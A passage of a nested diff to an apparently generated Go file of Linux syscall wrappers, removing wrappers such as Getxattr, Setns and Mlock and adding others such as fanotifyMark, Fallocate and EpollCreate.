-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fdatasync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FDATASYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Flock(fd int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getdents(fd int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETDENTS64, uintptr(fd), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpgid(pid int) (pgid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
-- pgid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-- pid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-- ppid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpriority(which int, who int) (prio int, err error) {
-- r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
-- prio = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrandom(buf []byte, flags int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETRANDOM, uintptr(_p0), uintptr(len(buf)), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrusage(who int, rusage *Rusage) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getsid(pid int) (sid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
-- sid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Gettid() (tid int) {
-- r0, _, _ := RawSyscall(SYS_GETTID, 0, 0, 0)
-- tid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyAddWatch(fd int, pathname string, mask uint32) (watchdesc int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(pathname)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_INOTIFY_ADD_WATCH, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mask))
-- watchdesc = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyInit1(flags int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_INIT1, uintptr(flags), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyRmWatch(fd int, watchdesc uint32) (success int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_RM_WATCH, uintptr(fd), uintptr(watchdesc), 0)
-- success = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Kill(pid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_KILL, uintptr(pid), uintptr(sig), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Klogctl(typ int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_SYSLOG, uintptr(typ), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lgetxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_LGETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Listxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Llistxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LLISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lremovexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LREMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lsetxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_LSETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func PivotRoot(newroot string, putold string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(newroot)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(putold)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_PIVOT_ROOT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func prlimit(pid int, resource int, newlimit *Rlimit, old *Rlimit) (err error) {
-- _, _, e1 := RawSyscall6(SYS_PRLIMIT64, uintptr(pid), uintptr(resource), uintptr(unsafe.Pointer(newlimit)), uintptr(unsafe.Pointer(old)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PRCTL, uintptr(option), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func read(fd int, p []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Removexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func RequestKey(keyType string, description string, callback string, destRingid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(callback)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_REQUEST_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(destRingid), 0, 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setdomainname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETDOMAINNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sethostname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETHOSTNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpgid(pid int, pgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setsid() (pid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
-- pid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Settimeofday(tv *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setns(fd int, nstype int) (err error) {
-- _, _, e1 := Syscall(SYS_SETNS, uintptr(fd), uintptr(nstype), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpriority(which int, who int, prio int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sync() {
-- Syscall(SYS_SYNC, 0, 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Syncfs(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_SYNCFS, uintptr(fd), 0, 0)
-+func fanotifyMark(fd int, flags uint, mask uint64, dirFd int, pathname *byte) (err error) {
-+ _, _, e1 := Syscall6(SYS_FANOTIFY_MARK, uintptr(fd), uintptr(flags), uintptr(mask), uintptr(dirFd), uintptr(unsafe.Pointer(pathname)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1244,8 +24,8 @@ func Syncfs(fd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Sysinfo(info *Sysinfo_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SYSINFO, uintptr(unsafe.Pointer(info)), 0, 0)
-+func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-+ _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1265,62 +45,8 @@ func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Tgkill(tgid int, tid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_TGKILL, uintptr(tgid), uintptr(tid), uintptr(sig))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Times(tms *Tms) (ticks uintptr, err error) {
-- r0, _, e1 := RawSyscall(SYS_TIMES, uintptr(unsafe.Pointer(tms)), 0, 0)
-- ticks = uintptr(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Umask(mask int) (oldmask int) {
-- r0, _, _ := RawSyscall(SYS_UMASK, uintptr(mask), 0, 0)
-- oldmask = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Uname(buf *Utsname) (err error) {
-- _, _, e1 := RawSyscall(SYS_UNAME, uintptr(unsafe.Pointer(buf)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unmount(target string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UMOUNT2, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unshare(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_UNSHARE, uintptr(flags), 0, 0)
-+func Dup2(oldfd int, newfd int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1329,8 +55,9 @@ func Unshare(flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Ustat(dev int, ubuf *Ustat_t) (err error) {
-- _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-+func EpollCreate(size int) (fd int, err error) {
-+ r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-+ fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1339,46 +66,14 @@ func Ustat(dev int, ubuf *Ustat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func write(fd int, p []byte) (n int, err error) {
-+func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-+ if len(events) > 0 {
-+ _p0 = unsafe.Pointer(&events[0])
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func exitThread(code int) (err error) {
-- _, _, e1 := Syscall(SYS_EXIT, uintptr(code), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func readlen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func writelen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-+ r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1388,135 +83,8 @@ func writelen(fd int, p *byte, np int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Madvise(b []byte, advice int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(advice))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mprotect(b []byte, prot int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Msync(b []byte, flags int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup2(oldfd int, newfd int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(events) > 0 {
-- _p0 = unsafe.Pointer(&events[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
-- n = int(r0)
-+func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-+ _, _, e1 := Syscall6(SYS_FADVISE64, uintptr(fd), uintptr(offset), uintptr(length), uintptr(advice), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1556,7 +124,7 @@ func Ftruncate(fd int, length int64) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEGID, 0, 0, 0)
- egid = int(r0)
- return
- }
-@@ -1564,7 +132,7 @@ func Getegid() (egid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Geteuid() (euid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEUID, 0, 0, 0)
- euid = int(r0)
- return
- }
-@@ -1572,7 +140,7 @@ func Geteuid() (euid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getgid() (gid int) {
